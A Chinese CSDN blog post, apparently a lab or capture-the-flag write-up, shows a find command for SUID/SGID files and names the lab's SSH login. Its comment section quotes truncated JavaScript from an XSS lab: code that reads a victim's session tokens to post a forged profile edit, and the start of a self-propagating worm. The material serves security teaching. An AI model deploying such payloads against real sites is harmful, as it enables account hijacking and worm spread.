查询系统中suid/sgid程序

最新推荐文章于 2025-02-04 14:40:22 发布

winnower-sliff

最新推荐文章于 2025-02-04 14:40:22 发布

阅读量1.4k

点赞数 1

分类专栏：网安文章标签： ubuntu bash linux 运维

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/l4kjih3gfe2dcba1/article/details/124206485

版权

网安专栏收录该内容

25 篇文章

订阅专栏

查询系统中suid/sgid程序

靶机配置了ssh，可以账号test、密码123通过ssh登录到靶机进行攻击。（靶机IP地址见题目中网络拓扑图）

在Linux系统中文件的权限是很重要的一部分，通常的权限由读、写、执行三位组成，对每个文件都指定了文件所有者、同用户组的权限和其它非本用户组的权限。同时Linux中还有特殊的suid、sgid权限。设置了suid/sgid权限的文件，任何用户在执行该文件时，都将拥有文件属主/属组账号对应的权限。

在靶机环境中，设置有一个属于root用户，同时设置了suid权限的文件，只需要找到它并执行即可获取flag。
在这里插入图片描述

find / -type f -perm -04000 -o -perm -02000

结果：
在这里插入图片描述

/etc/super即所要程序

博客等级

码龄5年

48
原创

149
点赞

527
收藏

1397
粉丝

关注

私信

热门文章

分类专栏

Django 2篇
个人用 16篇
网安 25篇
OS 6篇
算法 5篇

最新评论

cpp下strstr路径检测绕过
findthewaytogo: 学长千古
Cross-Site Scripting (XSS) Attack Lab网安实验
滔涛874: 3.6 Task 5: Modifying the Victim’s Profile <script type="text/javascript"> window.onload = function() { var name = "&name=" + encodeURIComponent(elgg.session.user.name); var guid = "&guid=" + encodeURIComponent(elgg.session.user.guid); var ts = "&__elgg_ts=" + encodeURIComponent(elgg.security.token.__elgg_ts); var token = "&__elgg_token=" + encodeURIComponent(elgg.security.token.__elgg_token); var description = "&description=<p>Why do we have to do homework for the midterm exam !!!</p>"; var content = token + ts + description + guid + name; var samyGuid = 59; if (elgg.session.user.guid != samyGuid) { var Ajax = new XMLHttpRequest(); Ajax.open("POST", "http://www.seed-server.com/action/profile/edit", true); Ajax.setRequestHeader("Host", "www.seed-server.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content);
Cross-Site Scripting (XSS) Attack Lab网安实验
滔涛874: 细节部分跟作者存在出入
Cross-Site Scripting (XSS) Attack Lab网安实验
滔涛874: 3.6 Task 5: Modifying the Victim’s Profile <script type="text/javascript"> window.onload = function() { var name = "&name=" + encodeURIComponent(elgg.session.user.name); var guid = "&guid=" + encodeURIComponent(elgg.session.user.guid); var ts = "&__elgg_ts=" + encodeURIComponent(elgg.security.token.__elgg_ts); var token = "&__elgg_token=" + encodeURIComponent(elgg.security.token.__elgg_token); var description = "&description=<p>Why do we have to do homework for the midterm exam !!!</p>"; var content = token + ts + description + guid + name; var samyGuid = 59; if (elgg.session.user.guid != samyGuid) { var Ajax = new XMLHttpRequest(); Ajax.open("POST", "http://www.seed-server.com/action/profile/edit", true); Ajax.setRequestHeader("Host", "www.seed-server.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content);
Cross-Site Scripting (XSS) Attack Lab网安实验
滔涛874: 更新一下南方科技大学使用代码片段：3.7 Task 6: Writing a Self-Propagating XSS Worm（Link在这里就不演示了） DOM Approach <script type="text/javascript" id="worm"> window.onload = function() { // 获取用户信息和安全令牌 var name = "&name=" + encodeURIComponent(elgg.session.user.name); var guid = "&guid=" + encodeURIComponent(elgg.session.user.guid); var ts = "&__elgg_ts=" + encodeURIComponent(elgg.security.token.__elgg_ts); var token = "&__elgg_token=" + encodeURIComponent(elgg.security.token.__elgg_token); // 定义用户描述 var description = "&description="; // 获取当前脚本的外部HTML var scriptContent = document.getElementById("worm").outerHTML; // 显示脚本内容 alert(scriptContent); // 定义简短描述 var briefdescription = "&briefdescription=I love computer security to the point of madness!!!"; // 构造POST请求的内容 var content = token + ts + description + encodeURIComponent(scriptContent) + briefdescription + guid + name; //

大家在看

最新文章

目录

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

打赏作者

winnower-sliff 你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20

扫码支付：¥1

获取中

扫码支付

您的余额不足，请更换扫码支付或充值

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。